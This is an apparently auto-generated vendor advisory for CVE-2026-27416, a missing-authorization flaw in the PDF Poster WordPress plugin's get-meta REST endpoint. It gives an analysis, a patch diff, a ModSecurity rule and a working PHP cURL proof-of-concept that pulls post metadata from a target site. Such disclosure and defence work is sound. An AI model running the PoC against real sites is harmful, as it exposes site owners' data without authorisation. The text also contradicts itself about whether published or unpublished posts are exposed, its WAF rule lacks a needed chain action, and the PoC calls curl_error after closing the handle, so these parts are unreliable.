Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 16, 2026

CVE-2026-27416: PDF Poster – Display PDF Files with Custom Viewer <= 2.4.1 – Missing Authorization (pdf-poster)

Plugin pdf-poster
Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 2.4.1
Patched Version 2.5.0
Disclosed May 6, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-27416: The PDF Poster plugin for WordPress (version ≤ 2.4.1) contains a missing authorization vulnerability in the REST API endpoint used to retrieve post metadata. This allows unauthenticated attackers to access metadata of published posts (including sensitive configuration fields) through a specific API route. The CVSS score of 5.3 indicates moderate severity with a network-based attack vector and no authentication required.

The root cause lies in the file `/pdf-poster/inc/Rest/getMeta.php`. The vulnerable code at line 42 performed an insufficient check: `if ($post_type !== ‘pdfposter’)`. While it verified the post type, it did not verify that the post was published. The function returned an empty response only for non-`pdfposter` types, but allowed access to any `pdfposter` post regardless of its status. The `WP_REST_Request` class instance allowed an attacker to supply a post ID, and the subsequent code (not shown in the diff but implied) would retrieve metadata via `get_post_meta` for the given ID without checking the current user’s permissions.

The exploitation method is simple: an unauthenticated attacker sends a GET request to the WordPress REST API endpoint `wp-json/pdfp/v1/get-meta?id=N`, where N is the numeric ID of a published post of the `pdfposter` post type. Alternatively, the attacker could target posts with different statuses, but the patch specifically blocks non-published posts. The attacker does not need a nonce or any special privileges. The response will include all metadata fields stored under the `_fpdf` meta key, including file paths, button configurations, popup settings, social share settings, and PDF display options. This reveals internal plugin configuration and potentially the paths to uploaded PDF files.

The patch adds an additional condition to the existing check in `getMeta.php` at line 42. The new code reads: `if ($post_type !== ‘pdfposter’ || $post->post_status !== ‘publish’)`. This changes the logic to reject requests where the post is not published. Previously, the condition only checked the post type; now it also verifies that the post’s status equals `’publish’`. The patch forces the REST endpoint to return an empty `WP_REST_Response` array for any post that is not both a ‘pdfposter’ and in the ‘publish’ status. This effectively prevents unauthenticated attackers from retrieving metadata of unpublished, draft, or otherwise non-public posts.

If exploited, an unauthenticated attacker can retrieve metadata from published `pdfposter` posts. The metadata (`_fpdf`) contains configuration settings including the source URL/path to the PDF file, display options (height, width), button configurations (background color, text), popup trigger settings, social share settings (Facebook, Twitter, LinkedIn, etc.), and other plugin-specific options. This information leakage may expose the location of PDF files that were intended to be embedded on specific pages but could now be downloaded directly. In the context of Privacy Mode protection (if enabled), the attacker learns the PDF source URL which could circumvent intended access controls. The vulnerability does not allow direct remote code execution or database manipulation, but the information disclosure could aid further targeted attacks.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/pdf-poster/build/admin.asset.php
+++ b/pdf-poster/build/admin.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => '4c38a938fd9f9307ccf9');
+<?php return array('dependencies' => array(), 'version' => '2d8f0a1d0d0332bb032e');
--- a/pdf-poster/build/blocks/pdf-poster/index.asset.php
+++ b/pdf-poster/build/blocks/pdf-poster/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-blob', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-element', 'wp-i18n'), 'version' => 'c81109e1fe74ffc644e2');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-blob', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-element', 'wp-i18n'), 'version' => 'acbbb5e9cd1d896883b8');
--- a/pdf-poster/build/blocks/pdf-poster/view.asset.php
+++ b/pdf-poster/build/blocks/pdf-poster/view.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom'), 'version' => 'a7e811358c8dc08d4fba');
+<?php return array('dependencies' => array('react', 'react-dom'), 'version' => '15ba1d938d87b6891e02');
--- a/pdf-poster/build/blocks/selector/index.asset.php
+++ b/pdf-poster/build/blocks/selector/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-i18n'), 'version' => 'baab42c861fc303c0a02');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-i18n'), 'version' => 'd3a7fe8bf0cf390070ab');
--- a/pdf-poster/build/dashboard.asset.php
+++ b/pdf-poster/build/dashboard.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react'), 'version' => '0bc587ad3e8a4c590bae');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-api-fetch', 'wp-blob', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-i18n'), 'version' => '2faaa261185142f42614');
--- a/pdf-poster/inc/Base/Shortcodes.php
+++ b/pdf-poster/inc/Base/Shortcodes.php
@@ -73,9 +73,6 @@
     }
   }

-
-
-
   public function pdf_embed($atts)
   {
     $attrs = shortcode_atts($this->pdf_embed_attrs(), $atts);
--- a/pdf-poster/inc/Helper/Functions.php
+++ b/pdf-poster/inc/Helper/Functions.php
@@ -104,54 +104,70 @@

     public static function generate_pdf_poster_block($id){

-        $post_meta = get_post_meta($id,"_fpdf", true);
+        if(!function_exists('pdfp__get_post_meta')) {
+            return [
+                'blockName' => 'pdfp/pdfposter',
+            ];
+        }
+
         $meta = pdfp__get_post_meta($id, '_fpdf', true);

-        $height = self::isset($post_meta, 'height', ['height' => 1122, 'unit' => 'px']);
-        $width = self::isset($post_meta, 'width', ['width' => 100, 'unit' => '%']);
-        $popupBtnPadding = self::isset($post_meta, 'popup_btn_padding', [ "top"=> 10, "right"=> 20, "bottom"=> 10, "left"=> 10 ]);
+        $height = $meta('height', ['height' => 1122, 'unit' => 'px']);
+        $width = $meta('width', ['width' => 100, 'unit' => '%']);
+        $popup_image_height = $meta('popup_image_height', ['height' => 200, 'unit' => 'px']);
+        $popup_image_width = $meta('popup_image_width', ['width' => 300, 'unit' => 'px']);
+        $popupBtnPadding = $meta('popup_btn_padding', [ "top"=> 10, "right"=> 20, "bottom"=> 10, "left"=> 10 ]);
+        $popup_image = $meta('popup_image', []);
+        $popup_image = $popup_image['url'] ?? '';

         return [
           "blockName" => "pdfp/pdfposter",
           "attrs" => [
             'uniqueId' => wp_unique_id( 'pdfp' ),
-            'file' => self::isset($post_meta, 'source', ''),
+            'file' => $meta('source', ''),
             'title' => get_the_title( $id ),
              'height' => $height['height'].$height['unit'],
              'width' => $width['width'].$width['unit'],
-             'print' => self::isset($post_meta,  'print', false) === '1',
-             'fullscreenButton' => self::isset($post_meta,  'view_fullscreen_btn', '1') === '1',
-             'fullscreenButtonText' => self::isset($post_meta,  'fullscreen_btn_text', 'View Fullscreen'),
-             'newWindow' => self::isset($post_meta,  'view_fullscreen_btn_target_blank', false) === '1',
-             'showName' => self::isset($post_meta,  'show_filename', '1') === '1',
-             'downloadButton' => self::isset($post_meta,  'show_download_btn', false) === '1',
-             'downloadButtonText' => self::isset($post_meta,  'download_btn_text', 'Download File'),
-             'protect' => self::isset($post_meta,  'protect', false) === '1',
-             'onlyPDF' => self::isset($post_meta,  'only_pdf', false) === '1',
-             'defaultBrowser' => self::isset($post_meta,  'default_browser', false) === '1',
-             'thumbMenu' => self::isset($post_meta,  'thumbnail_toggle_menu', false) === '1',
-             'initialPage' => self::isset($post_meta,  'jump_to', 0),
-             'sidebarOpen' => self::isset($post_meta,  'sidebar_open', false) === '1',
-             'lastVersion' => self::isset($post_meta,  'ppv_load_last_version', false) === '1',
-             'hrScroll' => self::isset($post_meta,  'hr_scroll', 0) === '1',
-             'zoomLevel' => self::isset($post_meta,  'zoomLevel', null),
-             'alert' => self::isset($post_meta,  'disable_alert', true) !== '1',
+             'print' => $meta('print', false, true),
+             'fullscreenButton' => $meta('view_fullscreen_btn', '1', true),
+             'fullscreenButtonText' => $meta('fullscreen_btn_text', 'View Fullscreen', true),
+             'newWindow' => $meta('view_fullscreen_btn_target_blank', false, true),
+             'showName' => $meta('show_filename', '1', true),
+             'downloadButton' => $meta('show_download_btn', false, true),
+             'downloadButtonText' => $meta('download_btn_text', 'Download File', true),
+             'protect' => $meta('protect', false, true) ,
+             'onlyPDF' => $meta('only_pdf', false, true),
+             'defaultBrowser' => $meta('default_browser', false, true),
+             'thumbMenu' => $meta('thumbnail_toggle_menu', false, true),
+             'initialPage' => $meta('jump_to', 0, true),
+             'sidebarOpen' => $meta('sidebar_open', false, true),
+             'lastVersion' => $meta('ppv_load_last_version', false, true),
+             'hrScroll' => $meta('hr_scroll', 0, true),
+             'zoomLevel' => $meta('zoomLevel', null, true),
+             'alert' => $meta('disable_alert', true, true),
              'btnStyles' => [
-                "background" =>   self::isset($post_meta,  'popup_btn_bg', '#1e73be'),
-                "color" =>   self::isset($post_meta,  'popup_btn_color', '#fff'),
-                "fontSize" =>   self::isset($post_meta,  'popup_btn_font_size', null).'rem',
+                "background" =>   $meta('popup_btn_bg', '#1e73be'),
+                "color" =>   $meta('popup_btn_color', '#fff'),
+                "fontSize" =>   $meta('popup_btn_font_size', 1).'rem',
                 "padding" =>  $popupBtnPadding
              ],
              "popupOptions" => [
-                "enabled" =>  self::isset($post_meta,  'popup', 0) === '1',
-                "text" =>  self::isset($post_meta,  'popup_btn_text', 'Open PDF'),
+                "enabled" =>  $meta('popup', 0, true),
+                "text" =>  $meta('popup_btn_text', 'Open PDF'),
+                "triggerType" =>  $meta('popup_trigger_type', 'button'),
+                "image" =>  $popup_image,
+                "imageHeight" =>  $popup_image_height['height'].$popup_image_height['unit'],
+                "imageWidth" =>  $popup_image_width['width'].$popup_image_width['unit'],
+                "imagePdfIcon" =>  $meta('popup_image_pdf_icon', true, true),
+                "triggerAlignment" =>  $meta('popup_trigger_alignment', 'center'),
                 "btnStyle" =>  [
-                    "background" =>   self::isset($post_meta,  'popup_btn_bg', '#1e73be'),
-                    "color" =>   self::isset($post_meta,  'popup_btn_color', '#fff'),
-                    "fontSize" =>   self::isset($post_meta,  'popup_btn_font_size', null).'rem',
+                    "background" =>   $meta('popup_btn_bg', '#1e73be'),
+                    "color" =>   $meta('popup_btn_color', '#fff'),
+                    "fontSize" =>   $meta('popup_btn_font_size', 1).'rem',
                     "padding" =>  $popupBtnPadding
                 ]
             ],
+            "actionsPosition" => $meta('actions_position', 'top', false),
             'socialShare' => [
                 'enabled' => $meta('social_share', false, true),
                 'facebook' => $meta('social_share_facebook', false, true),
--- a/pdf-poster/inc/PostType/PDFPoster.php
+++ b/pdf-poster/inc/PostType/PDFPoster.php
@@ -28,8 +28,10 @@

             add_filter('filter_block_editor_meta_boxes', [$this, 'remove_metabox']);
             add_action('use_block_editor_for_post', [$this, 'forceGutenberg'], 10, 2);
+
+
+            add_action('edit_form_after_title', [$this, 'shortcode_area']);

-            add_action('add_meta_boxes', [$this, 'shortcode_area_metabox']);
             // add_action('add_meta_boxes', [$this, 'myplugin_add_meta_box']);
         }
     }
@@ -235,36 +237,27 @@
         );
     }

-    // shortcode area
-    public function shortcode_area_metabox()
-    {
-        global $post;
-        if(!$post){
-            return;
-        }
-        if ($post->post_type == $this->post_type) {
-           add_meta_box(
-            'shortcode_area',
-            __('Shortcode', 'pdfp'),
-            [$this, 'shortcode_area'],
-            'pdfposter',
-            'side',
-            'default'
-        );
-        }
-    }
+

     function shortcode_area(){
+
+       if ($this->post_type != get_post_type()) {
+            return;
+        }
         global $post;
         $id = $post->ID;

         $shortcode = "[pdf id='" . esc_attr($id) . "']";
         ?>
-        <div class="pdfp-down-arrow"></div>
-        <div class="pdfp_front_shortcode_area">
+        <div class="pdfp_shortcode_area_after_title">
             <label><?php esc_html_e('Copy and paste this shortcode into your posts, pages and widget', 'pdfp'); ?></label>
-            <br />
-            <button class="button button-primary button-large pdfp_shortcode_copy_btn" data-clipboard-text="<?php echo esc_attr($shortcode) ?>"><?php esc_html_e('Copy Shortcode', 'pdfp'); ?></button>
+            <div class="shortcode_area">
+                <button class="button button-bplugins button-large pdfp_shortcode_copy_btn" data-clipboard-text="<?php echo esc_attr($shortcode) ?>"><?php echo esc_html($shortcode); ?></button>
+                <svg class='pdfp_shortcode_copy_btn' data-type="icon" data-clipboard-text='<?php echo esc_attr($shortcode) ?>' width='22px' height='22px' viewBox='0 0 24 24' fill='none' xmlns='http://www.w3.org/2000/svg'>
+                    <path d='M8 4V16C8 17.1046 8.89543 18 10 18L18 18C19.1046 18 20 17.1046 20 16V7.24162C20 6.7034 19.7831 6.18789 19.3982 5.81161L16.0829 2.56999C15.7092 2.2046 15.2074 2 14.6847 2H10C8.89543 2 8 2.89543 8 4Z' stroke='#000000' stroke-width='2' stroke-linecap='round' stroke-linejoin='round' />
+                    <path d='M16 18V20C16 21.1046 15.1046 22 14 22H6C4.89543 22 4 21.1046 4 20V9C4 7.89543 4.89543 7 6 7H8' stroke='#000000' stroke-width='2' stroke-linecap='round' stroke-linejoin='round' />
+                </svg>
+            </div>
         </div>
         <?php
     }
--- a/pdf-poster/inc/Rest/getMeta.php
+++ b/pdf-poster/inc/Rest/getMeta.php
@@ -42,7 +42,7 @@
         $post_type = get_post_type($id);
         $post = get_post($id);

-        if ($post_type !== 'pdfposter') {
+        if ($post_type !== 'pdfposter' || $post->post_status !== 'publish') {
             return new WP_REST_Response([]);
         }

--- a/pdf-poster/inc/admin.php
+++ b/pdf-poster/inc/admin.php
@@ -48,7 +48,7 @@
 			add_submenu_page(
 				'edit.php?post_type=pdfposter',
 				__('Demo and Help', 'pdfp'),
-				__('Demo and Help', 'pdfp'),
+				'<span style="color: #f18500;">' . __('Demo and Help', 'pdfp') . '</span>',
 				'edit_others_posts',
 				'pdf-poster',
 				[$this, 'dashboardPage'],
@@ -61,7 +61,8 @@
 			<div id='pdfpAdminDashboard' data-info='<?php echo esc_attr(wp_json_encode([
 														'version' => PDFPRO_VER,
 														'isPremium' => pdfp_fs()->can_use_premium_code(),
-														'hasPro' => true
+														'hasPro' => file_exists(PDFPRO_PATH . 'inc/Base/LicenseActivation.php'),
+														'licenseActiveNonce' => wp_create_nonce('bPlLicenseActivation')
 													])); ?>'></div>
 		<?php }

--- a/pdf-poster/pdf-poster.php
+++ b/pdf-poster/pdf-poster.php
@@ -4,7 +4,7 @@
  * Plugin Name: PDF Poster
  * Plugin URI:  https://bplugins.com/products/pdf-poster/
  * Description: You can easily embed/ show pdf file in your wordress website using this plugin.
- * Version:     2.4.1
+ * Version:     2.5.0
  * Author:      bPlugins
  * Author URI:  https://profiles.wordpress.org/abuhayat
  * License:     GPLv2
@@ -19,17 +19,11 @@
     /*Some Set-up*/
     define( 'PDFPRO_PLUGIN_DIR', plugin_dir_url( __FILE__ ) );
     define( 'PDFPRO_PATH', plugin_dir_path( __FILE__ ) );
-    define( 'PDFPRO_VER', ( defined( 'WP_DEBUG' ) ? time() : '2.4.0' ) );
+    define( 'PDFPRO_VER', ( defined( 'WP_DEBUG' ) ? time() : '2.5.0' ) );
     define( 'PDFPRO_IMPORT_VER', '1.0.0' );
     if ( file_exists( dirname( __FILE__ ) . '/vendor/autoload.php' ) ) {
         require_once dirname( __FILE__ ) . '/vendor/autoload.php';
     }
-    if ( file_exists( dirname( __FILE__ ) . '/inc/functions.php' ) ) {
-        require_once dirname( __FILE__ ) . '/inc/functions.php';
-    }
-    if ( file_exists( dirname( __FILE__ ) . '/inc/admin.php' ) ) {
-        require_once dirname( __FILE__ ) . '/inc/admin.php';
-    }
     // DO NOT REMOVE THIS IF, IT IS ESSENTIAL FOR THE `function_exists` CALL ABOVE TO PROPERLY WORK.
     if ( !function_exists( 'pdfp_fs' ) ) {
         // Create a helper function for easy SDK access.
@@ -39,21 +33,22 @@
                 // Include Freemius SDK.
                 // SDK is auto-loaded through composer
                 $pdfp_fs = fs_dynamic_init( array(
-                    'id'             => '14261',
-                    'slug'           => 'pdf-poster',
-                    'premium_slug'   => 'pdf-poster-pro',
-                    'type'           => 'plugin',
-                    'public_key'     => 'pk_6e833032174d131283193892a44a2',
-                    'is_premium'     => false,
-                    'premium_suffix' => 'Pro',
-                    'has_addons'     => false,
-                    'has_paid_plans' => true,
-                    'menu'           => array(
+                    'id'               => '14261',
+                    'slug'             => 'pdf-poster',
+                    'premium_slug'     => 'pdf-poster-pro',
+                    'type'             => 'plugin',
+                    'public_key'       => 'pk_6e833032174d131283193892a44a2',
+                    'is_premium'       => false,
+                    'premium_suffix'   => 'Pro',
+                    'has_addons'       => false,
+                    'has_paid_plans'   => true,
+                    'menu'             => array(
                         'slug'    => 'edit.php?post_type=pdfposter',
                         'support' => false,
                         'contact' => false,
                     ),
-                    'is_live'        => true,
+                    'is_live'          => true,
+                    'is_org_compliant' => true,
                 ) );
             }
             return $pdfp_fs;
@@ -64,10 +59,12 @@
         // Signal that SDK was initiated.
         do_action( 'pdfp_fs_loaded' );
     }
+    if ( file_exists( __DIR__ . '/upgrade.php' ) ) {
+        require_once __DIR__ . '/upgrade.php';
+    }
     if ( class_exists( 'PDFPro\Init' ) ) {
         PDFProInit::register_services();
     }
-    require_once __DIR__ . '/upgrade.php';
     function get_p_option(  $array, $key = array(), $default = null  ) {
         if ( is_array( $array ) && array_key_exists( $key, $array ) ) {
             return $array[$key];
--- a/pdf-poster/upgrade.php
+++ b/pdf-poster/upgrade.php
@@ -1,5 +1,17 @@
 <?php
 if ( ! defined( 'ABSPATH' ) ) exit;

-require_once(__DIR__ . '/vendor/codestar-framework/codestar-framework.php');
-require_once(__DIR__ . '/blocks.php');
+$required_files = [
+    'inc/functions.php',
+    'inc/admin.php',
+    'vendor/codestar-framework/codestar-framework.php',
+    'blocks.php',
+    'inc/Base/LicenseActivation.php',
+
+];
+
+foreach ($required_files as $file) {
+    if(file_exists(__DIR__ . '/' . $file)) {
+        require_once(__DIR__ . '/' . $file);
+    }
+}

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-27416
# Block unauthenticated access to the PDF Poster plugin's get-meta REST API endpoint
# This rule blocks requests to /wp-json/pdfp/v1/get-meta with a numeric 'id' parameter
# because the endpoint does not enforce authorization checks on unauthenticated users.
SecRule REQUEST_URI "@beginsWith /wp-json/pdfp/v1/get-meta" 
  "id:20261994,phase:2,deny,status:403,msg:'CVE-2026-27416: PDF Poster Metadata Exposure via REST API',severity:'CRITICAL',tag:'CVE-2026-27416'"
  SecRule ARGS:id "@rx ^[0-9]+$" "chain"
    SecRule REQUEST_METHOD "@streq GET" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-27416 - PDF Poster <= 2.4.1 Missing Authorization on REST API

// Configuration - change these values
$target_url = 'http://example.com'; // Target WordPress site URL
$target_post_id = 1; // ID of a published 'pdfposter' post

// Endpoint: /wp-json/pdfp/v1/get-meta?id=N
$api_url = rtrim($target_url, '/') . '/wp-json/pdfp/v1/get-meta?id=' . intval($target_post_id);

echo '[+] Attempting to retrieve metadata for post ID ' . $target_post_id . PHP_EOL;
echo '[+] Target endpoint: ' . $api_url . PHP_EOL;

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $api_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36',
    'Accept: application/json'
));

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($response === false) {
    echo '[!] cURL error: ' . curl_error($ch) . PHP_EOL;
    exit(1);
}

echo '[+] HTTP Response Code: ' . $http_code . PHP_EOL;

if ($http_code !== 200) {
    echo '[!] Expected HTTP 200, got ' . $http_code . PHP_EOL;
    echo '[!] The site may be patched or the post ID is not accessible.' . PHP_EOL;
    exit(1);
}

// Decode JSON response
$data = json_decode($response, true);

if (json_last_error() !== JSON_ERROR_NONE) {
    echo '[!] JSON decode error: ' . json_last_error_msg() . PHP_EOL;
    echo '[!] Raw response (first 500 chars): ' . substr($response, 0, 500) . PHP_EOL;
    exit(1);
}

// Check if the response contains metadata (should have fields like 'source', 'width', 'height', etc.)
if (empty($data)) {
    echo '[!] Response is empty. The post may not be published or is not a pdfposter type.' . PHP_EOL;
    echo '[!] If site is vulnerable, try a different post ID.' . PHP_EOL;
    exit(1);
}

echo '[+] Success! Retrieved metadata for post ID ' . $target_post_id . PHP_EOL;
echo '[+] Metadata Content:' . PHP_EOL;
print_r($data);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School